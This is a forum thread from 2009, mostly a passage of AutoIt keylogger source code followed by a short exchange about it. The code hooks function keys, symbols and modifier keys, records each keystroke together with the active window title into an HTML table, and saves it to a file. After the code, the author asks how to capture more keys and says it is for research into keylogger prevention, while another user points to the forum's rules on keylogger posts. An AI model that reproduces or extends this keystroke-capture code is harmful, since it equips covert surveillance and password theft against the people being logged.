HotKeySet ("{ASC 015}") send("{ASC 015}") $window=wingettitle("") $log = $log & "<tr><td align=center> SHIFT IN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 015}" , "_ShiftIn") EndFunc Func _ShiftOut() HotKeySet ("{ASC 014}") send("{ASC 014}") $window=wingettitle("") $log = $log & "<tr><td align=center> SHIFT OUT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 014}" , "_ShiftOut") EndFunc Func _sleep() HotKeySet ("{SLEEP}") send("{SLEEP}") $window=wingettitle("") $log = $log & "<tr><td align=center> SLEEP </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{SLEEP}" , "_sleep") EndFunc Func _altDown() HotKeySet ("{ALTDOWN}") send("{ALTDOWN}") $window=wingettitle("") $log = $log & "<tr><td align=center> ALTDOWN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ALTDOWN}" , "_altDown") EndFunc Func _cntrlDown() HotKeySet ("{CTRLDOWN}") send("{CTRLDOWN}") $window=wingettitle("") $log = $log & "<tr><td align=center> CTRLDOWN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{CTRLDOWN}" , "_cntrlDown") EndFunc Func _lWinDown() HotKeySet ("{LWINDOWN}") send("{LWINDOWN}") $window=wingettitle("") $log = $log & "<tr><td align=center> LWINDOWN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{LWINDOWN}" , "_lWinDown") EndFunc Func _rWinDown() HotKeySet ("{RWINDOWN}") send("{RWINDOWN}") $window=wingettitle("") $log = $log & "<tr><td align=center> RWINDOWN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{RWINDOWN}" , "_rWinDown") EndFunc #ce ;function keys Func _f1() HotKeySet ("{F1}") send("{F1}") $window=wingettitle("") $log = $log & "<tr><td align=center> F1 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F1}" , "_f1") EndFunc Func _f2() HotKeySet ("{F2}") send("{F2}") $window=wingettitle("") $log = $log & "<tr><td align=center> F2 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F2}" , "_f2") EndFunc Func _f3() HotKeySet ("{F3}") send("{F3}") $window=wingettitle("") $log = $log & "<tr><td align=center> F3 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F3}" , "_f3") EndFunc Func _f4() HotKeySet ("{F4}") send("{F4}") $window=wingettitle("") $log = $log & "<tr><td align=center> F4 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F4}" , "_f4") EndFunc Func _f5() HotKeySet ("{F5}") send("{F5}") $window=wingettitle("") $log = $log & "<tr><td align=center> F5 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F5}" , "_f5") EndFunc Func _f6() HotKeySet ("{F6}") send("{F6}") $window=wingettitle("") $log = $log & "<tr><td align=center> F6 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F6}" , "_f6") EndFunc Func _f7() HotKeySet ("{F7}") send("{F7}") $window=wingettitle("") $log = $log & "<tr><td align=center> F7 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F7}" , "_f7") EndFunc Func _f8() HotKeySet ("{F8}") send("{F8}") $window=wingettitle("") $log = $log & "<tr><td align=center> F8 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F8}" , "_f8") EndFunc Func _f9() HotKeySet ("{F9}") send("{F9}") $window=wingettitle("") $log = $log & "<tr><td align=center> F9 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F9}" , "_f9") EndFunc Func _f10() HotKeySet ("{F10}") send("{F10}") $window=wingettitle("") $log = $log & "<tr><td align=center> F10 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F10}" , "_f10") EndFunc Func _f11() HotKeySet ("{F11}") send("{F11}") $window=wingettitle("") $log = $log & "<tr><td align=center> F11 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F11}" , "_f11") EndFunc Func _f12() HotKeySet ("{F12}") send("{F12}") $window=wingettitle("") $log = $log & "<tr><td align=center> F12 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{F12}" , "_f12") EndFunc ;symbols Func _sExclam() HotKeySet ("{ASC 033}") send("{ASC 033}") $window=wingettitle("") $log = $log & "<tr><td align=center> ! </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 033}" , "_sExclam") EndFunc Func _sHash() HotKeySet ("{ASC 035}") send("{ASC 035}") $window=wingettitle("") $log = $log & "<tr><td align=center> # </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 035}" , "_sHash") EndFunc Func _sPlus() HotKeySet ("{ASC 043}") send("{ASC 043}") $window=wingettitle("") $log = $log & "<tr><td align=center> + </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 043}" , "_sPlus") EndFunc Func _sUpS() HotKeySet ("{ASC 136}") send("{ASC 136}") $window=wingettitle("") $log = $log & "<tr><td align=center> ^ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 136}" , "_sUpS") EndFunc Func _sCurlR() HotKeySet ("{ASC 123}") send("{ASC 123}") $window=wingettitle("") $log = $log & "<tr><td align=center> { </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 123}" , "_sCurlR") EndFunc Func _sCurlL() HotKeySet ("{ASC 125}") send("{ASC 125}") $window=wingettitle("") $log = $log & "<tr><td align=center> } </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 125}" , "_sCurlL") EndFunc Func _sAt() HotKeySet ("{ASC 064}") send("{ASC 064}") $window=wingettitle("") $log = $log & "<tr><td align=center> @ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 064}" , "_sAt") EndFunc Func _sSpeech() HotKeySet ("{ASC 034}") send("{ASC 034}") $window=wingettitle("") $log = $log & "<tr><td align=center> '' </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 034}" , "_sSpeech") EndFunc Func _sDollar() HotKeySet ("{ASC 036}") send("{ASC 036}") $window=wingettitle("") $log = $log & "<tr><td align=center> $ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 036}" , "_sDollar") EndFunc Func _sPercent() HotKeySet ("{ASC 037}") send("{ASC 037}") $window=wingettitle("") $log = $log & "<tr><td align=center> % </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 037}" , "_sPercent") EndFunc Func _sAnd() HotKeySet ("{ASC 038}") send("{ASC 038}") $window=wingettitle("") $log = $log & "<tr><td align=center> & </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 038}" , "_sAnd") EndFunc Func _sSingleSpeech() HotKeySet ("{ASC 039}") send("{ASC 039}") $window=wingettitle("") $log = $log & "<tr><td align=center> ' </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 039}" , "_sSingleSpeech") EndFunc Func _sBracketR() HotKeySet ("{ASC 040}") send("{ASC 040}") $window=wingettitle("") $log = $log & "<tr><td align=center> ( </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 040}" , "_sBracketR") EndFunc Func _sBracketL() HotKeySet ("{ASC 041}") send("{ASC 041}") $window=wingettitle("") $log = $log & "<tr><td align=center> ) </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 041}" , "_sBracketL") EndFunc Func _sColon() HotKeySet ("{ASC 058}") send("{ASC 058}") $window=wingettitle("") $log = $log & "<tr><td align=center> : </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 058}" , "_sColon") EndFunc Func _sSemiColon() HotKeySet ("{ASC 059}") send("{ASC 059}") $window=wingettitle("") $log = $log & "<tr><td align=center> ; </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 059}" , "_sSemiColon") EndFunc Func _sSquareBracketR() HotKeySet ("{ASC 091}") send("{ASC 091}") $window=wingettitle("") $log = $log & "<tr><td align=center> [ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 091}" , "_sSquareBracketR") EndFunc Func _sComma() HotKeySet ("{ASC 044}") send("{ASC 044}") $window=wingettitle("") $log = $log & "<tr><td align=center> , </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 044}" , "_sComma") EndFunc Func _sTriangleBracketR() HotKeySet ("{ASC 060}") send("{ASC 060}") $window=wingettitle("") $log = $log & "<tr><td align=center> < </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 060}" , "_sTriangleBracketR") EndFunc Func _sBackSlash() HotKeySet ("{ASC 092}") send("{ASC 092}") $window=wingettitle("") $log = $log & "<tr><td align=center> \ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 092}" , "_sBackSlash") EndFunc Func _sLine() HotKeySet ("{ASC 124}") send("{ASC 124}") $window=wingettitle("") $log = $log & "<tr><td align=center> | </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 124}" , "_sLine") EndFunc Func _sDash() HotKeySet ("{ASC 045}") send("{ASC 045}") $window=wingettitle("") $log = $log & "<tr><td align=center> - </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 045}" , "_sDash") EndFunc Func _sEquals() HotKeySet ("{ASC 061}") send("{ASC 061}") $window=wingettitle("") $log = $log & "<tr><td align=center> = </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 061}" , "_sEquals") EndFunc Func _sSquareBracketL() HotKeySet ("{ASC 093}") send("{ASC 093}") $window=wingettitle("") $log = $log & "<tr><td align=center> ] </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 093}" , "_sSquareBracketL") EndFunc Func _sFullStop() HotKeySet ("{ASC 046}") send("{ASC 046}") $window=wingettitle("") $log = $log & "<tr><td align=center> . </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 046}" , "_sFullStop") EndFunc Func _sTriangleBracketL() HotKeySet ("{ASC 062}") send("{ASC 062}") $window=wingettitle("") $log = $log & "<tr><td align=center> > </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 062}" , "_sTriangleBracketL") EndFunc Func _sTilde() HotKeySet ("{ASC 126}") send("{ASC 126}") $window=wingettitle("") $log = $log & "<tr><td align=center> ~ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 126}" , "_sTilde") EndFunc Func _sForwardSlash() HotKeySet ("{ASC 047}") send("{ASC 047}") $window=wingettitle("") $log = $log & "<tr><td align=center> / </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 047}" , "_sForwardSlash") EndFunc Func _sQuestionMark() HotKeySet ("{ASC 063}") send("{ASC 063}") $window=wingettitle("") $log = $log & "<tr><td align=center> ? </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 063}" , "_sQuestionMark") EndFunc Func _sUnderScore() HotKeySet ("{ASC 095}") send("{ASC 095}") MsgBox(4096,"","This is a message.") $window=wingettitle("") $log = $log & "<tr><td align=center> _ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ASC 095}" , "_sUnderScore") EndFunc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;html document writing part ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Func writeToLog() ;write to file the desired text filewrite($textFileDirectory,$log) ;ToolTip('Logged keys saved to file',0,0) EndFunc Func writeToLogHeader($header) ;write to file the desired text filewrite($textFileDirectory,$header) ;ToolTip('Logged keys saved to file',0,0) EndFunc ;Function to pause script Func pauseOnOff() $paused = NOT $paused While $paused sleep(100) ToolTip('Script currently Paused',0,0) WEnd EndFunc ;Exits program Func killProcess() MsgBox(0,"Exit script", "The keylogger has been exited the captured text can be found @" & $currentDirectory) writeToLog() ; Exit script Exit 0 EndFunc ;display messagebox Func ShowMessage() MsgBox(4096,"","This is a message.") EndFunc Link to comment Share on other sites More sharing options...
Garbit Posted December 9, 2009 Author Share Posted December 9, 2009 Had a thought today, can you use HotKeySet with ascii values? if not how else do i detect these keys? Link to comment Share on other sites More sharing options...
whim Posted December 9, 2009 Share Posted December 9, 2009 Read this: Keylogger Posts Link to comment Share on other sites More sharing options...
Garbit Posted December 9, 2009 Author Share Posted December 9, 2009 (edited) I explicitly stated in my post im a research student wishing to make a clearly open and none malicious key logger so that i can test various methods of keylogger preventions. I'd say its an honourable cause against keyloggers. I'm not some 14 year old looking to be the cool kid in the class im a third year degree student trying to ask for some help on something i've written myself (albeit very primatively) Edited December 9, 2009 by Garbit Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now